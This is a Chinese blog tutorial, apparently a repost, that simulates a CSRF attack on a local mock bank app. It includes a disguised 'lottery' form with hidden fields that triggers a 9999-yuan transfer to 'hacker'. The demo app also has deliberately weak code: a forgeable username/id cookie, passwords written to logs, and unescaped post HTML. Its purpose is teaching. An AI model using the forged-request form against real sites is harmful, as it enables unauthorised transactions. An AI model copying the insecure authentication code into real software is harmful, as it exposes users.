模拟CSRF攻击

这篇具有很好参考价值的文章主要介绍了模拟CSRF攻击。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

今天给大家表演一个拙劣的CSRF攻击。

我会编写两个应用:一个是正经应用,一个是钓鱼的应用。然后让后者攻击前者,让它打钱!

一、绪论

1.1 先聊聊Cookie

参考:常用的本地存储——cookie篇

Cookie在八股文里面好像已经讲烂了, 就是一个服务端给客户端返回的【键值对】,这个键值对用来存储一些用户的信息(不包括密码,要不然就太不安全了),下次客户端再访问服务端的时候,带上Cookie。Cookie 是常用的本地存储(Local Stroage 、 Session Stroage 、 IndexedDB 、Cookies)的一种,用户每次访问站点时,Web应用程序都可以读取 Cookie 包含的信息。当用户再次访问这个站点时,浏览器就会在本地硬盘上查找与该 URL 相关联的 Cookie。如果该 Cookie 存在,浏览器就将它添加到request headerCookie字段中,与http请求一起发送到该站点。

Cookie 将 document 对象的cookie 属性提供给 JavaScript,可以使用JavaScript来创建和取回 cookie 的值,因此我们可以通过document.cookie访问它。

cookie是存于用户硬盘的一个文件,这个文件通常对应于一个域名,也就是说,cookie可以跨越一个域名下的多个网页,但不能跨越多个域名使用

作用包括但不限于:

  • 保存用户登录信息
  • 保存购物车数据,同一个域名下可以Cookie共享,这可以保证不同页面之间的数据同步
  • 跟踪用户行为,记录用户偏好

总之,有什么作用全看你往cookie里存什么了。

设置Cookie的方式很多,可以在前端设置,也可以在后端设置。甚至用户可以自己打开浏览器控制台通过命令来设置(除了key-value以外都不是必须设置的):

document.cookie = "myCookieKey=myCookieValue;domain=.google.com.hk;path=/webhp;expires=Sat, 04 Nov 2017 16:00:00 GMT;max-age=10800;"

通过了解Cookie的属性,我们也更能把握Cookie的工作原理,现在把每个设置项罗列一下: 

属性名 释义
path 默认值为"/"表示能访问的路径
domian 默认值为"/",指定域下的所有路径都能访问。.google.com.hk表示不包括子域。www.google.com.hk表示包括子域。
expires Cookie 什么时候失效(被删除)
max-age Cookie 有效期到什么时候(被删除)
secure 默认情况为空,不指定 secure 选项,即不论是 http 请求还是 https 请求,均会发送cookie。指定后,cookie只有在使用SSL连接(如HTTPS请求或其他安全协议请求的)时才会发送到服务器。
httponly 默认情况是不指定 httponly,即可以通过 js 去访问。

1.2 再聊聊CSRF

CSRF(Cross Site Request Forgery,跨站点请求伪造),要素:

  1. 用户登录正规网站
  2. 用户访问攻击页面
  3. 攻击网站利用正规网站对用户的信用凭证伪装成用户向目标网站发起请求

关于第 2 点,用户如何访问攻击页面,那肯定是点击链接。第 3 点攻击页面要使用(注意,只是使用,因为他只是运用浏览器的特性可以使用这个Cookie而已)信用凭证(在本文中特指 Cookie),那就是用户要从正规网站上点击非法链接,这个链接可能藏在正规网站的帖子,博文中。这样,对方得到了Cookie再拿着Cookie去伪造请求,就可以达到不可告人的目的。

攻击能成功的关键:在同一个浏览器下,无论哪个页面或者网站向正规网站发送请求,请求头都会带上该正规网站域名下的 Cookie

1.3 再聊聊CSRF怎么预防

1.4 再聊聊我的模拟

有一个“银行应用”,有登录接口,登录完之后会给客户端下发Cookie,还有一个过滤器,每次调用应用的接口都会校验一下Cookie。此外,该应用还有一个转账接口。

再准备一个“钓鱼应用”,应用链接内嵌到“银行应用”的博文列表中,当用户点击钓鱼链接时,就会跳转到钓鱼应用页面。之后页面会调用“银行应用”的转账接口。

依赖:

Springboot 3.1.0 + vue3.0 + axios + jackson + mybatis+ + lombok插件

二、步骤

2.0 准备持久层相关

模拟CSRF攻击,csrf,前端

(1)数据库里两张表

一张用户表

模拟CSRF攻击,csrf,前端

一张文章列表

模拟CSRF攻击,csrf,前端

 (2)创建实体类

Essay.java和User.java并准备其增删改查接口(这里只用到了查询,所以直接创建就可以,非常简单)

Essay.java

@Data
public class Essay {
    private Integer id;
    private String title;
    private String content;
}

User.java

@Data
public class User {
    private Integer id;
    private String username;
    private String password;
}

Servie接口UserService.java:

public interface UserService {
     User findUserByUsername(String username);
     List<Essay> getAllEssay();
}

实现UserService接口:

@Service
public class UserServiceImpl implements UserService {
    @Resource
    private UserMapper userMapper;
    @Override
    public User findUserByUsername(String username) {
        return userMapper.getUserByUsername(username);
    }
    @Override
    public List<Essay> getAllEssay() {
        return userMapper.getAllEssay();
    }
}

UserMapper.java

@Mapper
public interface UserMapper {
    List<User> getAllUsers();

    int updateCookieByUserName(@Param("cookie") String cookie);

    User getUserByUsername(@Param("username") String username);

    List<Essay> getAllEssay();
}

UserMapper.xml

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper
        PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
        "http://mybatis.org/dtd/mybatis-3-mapper.dtd">

<mapper namespace="com.example.imitatecsrf.mapper.UserMapper">
    <select id="getUserByUsername" resultType="com.example.imitatecsrf.model.User">
        select * from t_user where username = #{username}
    </select>
    <select id="getAllEssay" resultType="com.example.imitatecsrf.model.Essay">
        select * from essay
    </select>
</mapper>

2.1 准备一个被攻击应用

2.1.1 准备前端页面

这个被攻击应用是一个具备转账功能的应用,有一个粗糙的登录页面,我们访问一下:(此时还没有登录cookie也是空的)

模拟CSRF攻击,csrf,前端

页面代码:

<body>
<div id="app">
  <div v-if="showLoginOrNot">
    <h1>用户登录</h1>
    <br>
    <form th:method="post">
      <label for="username">用户名:</label>
      <input id="username" type="text" name="username" v-model="username" placeholder="请输入用户名">
      <br>
      <br>
      <label for="password">密码:</label>
      <input id="password" type="password" name="password" v-model="password" placeholder="请输入密码">
      <br>
      <br>
    </form>
    <button @click="submitLoginInfo()">提交</button>
  </div>
    <div v-if="!showLoginOrNot">
      <div class="essayContent" v-for="essay in essayList" :key="essay.id">
        <h1>{{essay.title}}</h1>
        <p v-html="essay.content">{{essay.content}}</p>
        <hr>
      </div>
    </div>
</div>
  <script src="https://cdn.bootcdn.net/ajax/libs/axios/1.3.6/axios.js"></script>
  <script src="/js/vue.js"></script>
  <script>
    new Vue({
      el: "#app",
      data: {
        username: "",
        password: "",
        showLoginOrNot: true,
        essayList: []
      },
      methods: {
        submitLoginInfo() {
          axios.post(
                  "/login",
                  {
                    username: document.getElementById("username").value,
                    password: document.getElementById("password").value
                  }
          ).then(response => {
            // 登录展示文章列表
            this.showLoginOrNot = false
            if (response.data.code === 200) {
               this.essayList = response.data.data
            } else {
              // 登录失败
              alert("用户名/密码错误,请重新登录")
              this.username = ""
              this.password = ""
            }
          });
        }
      }
    })
  </script>
</body>
 2.1.2 准备控制器
@RestController
@Slf4j
public class BusinessController {
    @Resource
    private UserService userService;

    @PostMapping("/login")
    public Result login(@RequestBody User user,  HttpServletResponse response) {
        // 每次登录都给客户端发放一个新的cookie
        String username = user.getUsername();
        String password = user.getPassword();
        if (userService.findUserByUsername(username) == null || !userService.findUserByUsername(username).getPassword().equals(password)) return Result.fail();
        // 登录成功
        String cookieKey = user.getUsername();
        String cookieValue = String.valueOf(userService.findUserByUsername(username).getId());
        System.out.println(cookieValue + " " + cookieKey);
        Cookie cookie = new Cookie(cookieKey, cookieValue);
        cookie.setMaxAge(24 * 60 * 60 * 60);
        response.addCookie(cookie);
        log.info("用户{}登录成功,密码为{},Cookie:{}-{}设置完毕", user.getUsername(), user.getPassword(), cookieValue, cookieKey);

        // 把文章列表也返回给用户
        List<Essay> essays = userService.getAllEssay();
        return Result.ok(essays);

    }

    @GetMapping("/transfer")
    public String transfer(@RequestParam Integer money, @RequestParam String to) {
        return "向" + to + "转账人民币:" + money + "元";
    }
}
2.1.3 准备拦截器和视图控制器
@Slf4j
public class PassPortInterceptor implements HandlerInterceptor {
    private UserService userService;
    public PassPortInterceptor(UserService userService) {
        this.userService = userService;
    }
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        // 拦截请求
        Cookie[] myCookie = request.getCookies();
        if (myCookie == null)   {
            log.info("无cookie");
            return false;
        }
        log.info("客户端携带的Cookie有" + myCookie.length + "项");
        for (int i = 0; i < myCookie.length; i++) {
            log.info("第{}个为{}-{}", i + 1, myCookie[i].getName(), myCookie[i].getValue());
            String username = myCookie[i].getName();
            Integer userId = Integer.valueOf(myCookie[i].getValue());
            // cookie校验成功,放行
            if (userService.findUserByUsername(username) != null
                    && userService.findUserByUsername(username).getId() == userId) {
                return true;
            }
        }
        return false;
    }
}

配置拦截器和视图控制器:

@Configuration
public class MyMvcConfig implements WebMvcConfigurer {
    @Resource
    UserService userService;
    
    @Override
    public void addViewControllers(ViewControllerRegistry registry) {
        registry.addViewController("/loginPage").setViewName("loginPage");
    }

    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(new PassPortInterceptor(userService)).excludePathPatterns("/loginPage", "/login");
    }
}
2.1.4  测试一下

(1)测试登录接口

登录成功,并且向用户展示了文章列表,而且也成功地给客户的浏览器中添加了cookie:

模拟CSRF攻击,csrf,前端

测试成功 

 (2) 测试转账接口/transfer

直接调用:/transfer?to=张三&money=50000

得到:

 模拟CSRF攻击,csrf,前端

测试成功

(3)测试拦截器是否工作正常

在没有登录(没有cookie)的情况下 ,还能不能调用 /transfer 接口?我先删除cookie,然后再次调用 /transfer?to=张三&money=50000

 因为我没有设置被拦截之后重定向,所以得到了一片空白,测试成功

2.2 准备一个攻击应用

攻击应用就很简单啦,用SpringBoot脚手架生成一个应用,开一个新端口,然后创建一个index页面:

<body>
<form method="get" action="http://127.0.0.1:8080/transfer">
    <h1>这是一个抽奖页面</h1>
    <br>
  <input type="hidden" name="money" value="9999">
  <input type="hidden" name="to" value="hacker">
  <input type="button" onclick="submit()" value="开始抽奖">
</form>
</body>

页面长这样:

模拟CSRF攻击,csrf,前端

2.3 发起攻击

一个正规网站上怎么会出现钓鱼链接?比如说,这个网站上有帖子啊,帖子是大家发的,里面就可能会有钓鱼链接。比如我就在一个帖子里放了我的钓鱼链接:

 <p>参考 <a href="http://127.0.0.1:9000/" ref="nofollow noopener noreferrer">点我抽奖</a>          </p>

用户看到的效果是(圈起来的就是我放的链接):

模拟CSRF攻击,csrf,前端

 当我们一点击这个链接,就会跳转到抽奖页面,当我们一点击“开始抽奖”,钓鱼网站就会帮我们调用 /transfer 接口,使用我们的cookie去正规网站给自己转钱,效果是这样子的:

模拟CSRF攻击,csrf,前端

然后我就被转走了9999元 

三、总结

3.1 CSRF不会有跨域问题吗?

一般来说,跨域就是 协议&域名&端口号 有一个不一致就是跨域了,我上面那两个应用端口是不一致的,那不就跨域了吗?

谁在阻止跨域?是浏览器处于安全策略阻止非同源请求。事实上,每次跨域请求都是正常发送的,服务端也会正常返回,只是被浏览器拦截了。所以每次请求都会到达服务端。

也就是说,至少攻击页面的表单请求是可以发出的,而且由于使用了目标网站认可的cookie,请求会被响应。

当浏览器收到服务端响应的数据时,会判断给数据的源和当前页面的源是否同源。针对不同的源,如果后端没有做相应的处理,则会被浏览器过滤。

再一个就是我从银行网站跳转到攻击网站,从攻击网站跳转回银行网站,这里是两次跨域,为什么没有被同源策略阻止呢?

因为同源策略一般限制三种行为:

(1) Cookie、LocalStorage 和 IndexDB 无法读取。

(2) DOM 无法获得。

(3) AJAX 请求不能发送。

第一次,我只是单纯地做了页面跳转,是页面跳转,而不是AJAX,所以不受限制。第二次,我向非同源页面发送请求,既不是AJAX请求,也没有返回DOM,也不读取Cookie所以不会受到限制。

最后最后,为什么浏览器会在访问钓鱼页面的时候带上银行应用的Cookie?因为浏览器对于Cookie使用的同源策略为:

浏览器使用 cookie 情况主要包括以下几点:

  1. 除了跨域 XHR 请求情况下,浏览器在发起请求的时候会把符合要求的 cookie 自动带上。(域名,有效期,路径,secure 属性)

  2. 跨域 XHR 的请求的情况下,也可以携带 Cookie。

  3. 浏览器允许跨域提交表单

  也就是说,浏览器中有页面或网站向某个域名发送请求时,其请求都会自动带上该域名下的所有 cookie。

参考文献:

csrf攻击模拟_模拟csrf攻击_涛歌依旧的博客-CSDN博客

常用的本地存储——cookie篇

Web安全之CSRF攻击的防御措施

关于跨域与CSRF的那些小事文章来源地址https://www.toymoban.com/news/detail-522499.html

到了这里,关于模拟CSRF攻击的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 如何预防CSRF攻击

    CSRF(Cross-Site Request Forgery)攻击是一种常见的 Web 攻击,即攻击者在用户不知情的情况下,利用用户已登录的身份,向目标网站发送恶意请求,从而实现攻击目的。本文将介绍 CSRF 攻击的原理和常见的防范措施,以帮助 Web 开发者更好地保护用户信息安全。 CSRF 攻击的原理比较

    2024年02月09日
    浏览(55)
  • 如何防止CSRF攻击

    随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全问题的高危据点。在移动互联网时代,前端人员除了传统的 XSS、CSRF 等安全问题之外,又时常遭遇网络劫持、非法调用 Hybrid API 等新型安全问题。当然,浏览器自身也在不断在

    2024年02月13日
    浏览(49)
  • 【Web 安全】CSRF 攻击详解

    文章目录(文章末尾有福利!!!) 一、CSRF 简介 二、CSRF 原理 三、CSRF 的危害 四、CSRF 的攻击类型 1. GET型 2. POST型 五、CSRF 的防御 1. 验证 HTTP Referer 字段 2. 在请求地址中添加 token 并验证 3. 在 HTTP 头中自定义属性并验证 六、WAF 防御 CSRF 参考链接 CSRF(Cross Site Request Forgery,

    2024年01月17日
    浏览(47)
  • SpringBoot 如何防御 CSRF 攻击

    CSRF 就是跨域请求伪造,英文全称是 Cross Site Request Forgery。 这是一种非常常见的Web攻击方式,其实是很好防御的,但是由于经常被很多开发者忽略,进而导致很多网站实际上都存在 CSRF 攻击的安全隐患。 今天和大家聊一聊什么是 CSRF 攻击以及 CSRF 攻击该如何防御。 想要防御

    2024年02月02日
    浏览(41)
  • 基础安全:CSRF攻击原理与防范

    CSRF ( Cross-Site Request Forgery )中文名为“跨站请求伪造”。这是一种常见的网络攻击手段,攻击者通过构造恶意请求,诱骗已登录的合法用户在不知情的情况下执行非本意的操作。这种攻击方式利用了Web应用程序中用户身份验证的漏洞,即浏览器在用户完成登录后会自动携带

    2024年04月28日
    浏览(45)
  • CSRF 攻击和 XSS 攻击分别代表什么?如何防范?

    一:PHP         1. CSRF 攻击和 XSS 攻击分别代表什么?                 1.CSRF攻击                 1.概念:                 CSRF(Cross-site request forgery)跨站请求伪造,用户通过跨站请求,以合法身份做非法的事情                 2.原理:            

    2024年02月13日
    浏览(52)
  • CSRF漏洞原理攻击与防御(非常细)

    提示:以下是本篇文章正文内容,下面案例可供参考 CSRF (Cross-site request forgery,跨站请求伪造)也被称为One Click Attack或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪

    2024年03月20日
    浏览(60)
  • 浏览器基础原理-安全: CSRF攻击

    CSRF(Cross-site request forgery)跨站请求伪造 概念: 是指黑客引诱用户打开黑客的网站,在黑客的网站中,利用用户的登录状态发起的跨站请求。简单来讲, CSRF 攻击指黑客利用了用户的登录状态,并通过第三方的站点来做一些坏事 。 攻击方式: 1-自动发起 Get 请求 比如将转账请求

    2024年02月11日
    浏览(40)
  • 【python】深入探讨flask是如何预防CSRF攻击的

    ✨✨ 欢迎大家来到景天科技苑✨✨ 🎈🎈 养成好习惯,先赞后看哦~🎈🎈 🏆 作者简介:景天科技苑 🏆《头衔》:大厂架构师,华为云开发者社区专家博主,阿里云开发者社区专家博主,CSDN全栈领域优质创作者,掘金优秀博主,51CTO博客专家等。 🏆《博客》:Python全栈,

    2024年04月14日
    浏览(32)
  • 【 安全】什么是CSRF攻击?如何避免?开发的时候怎么预防?

    CSRF定义: 跨站请求伪造(英语:Cross-site request forgery)是一种对网站的恶意利用,也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。 CSRF跨站点请求伪造(Cross—Site Request Forgery) 跟

    2024年03月14日
    浏览(88)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包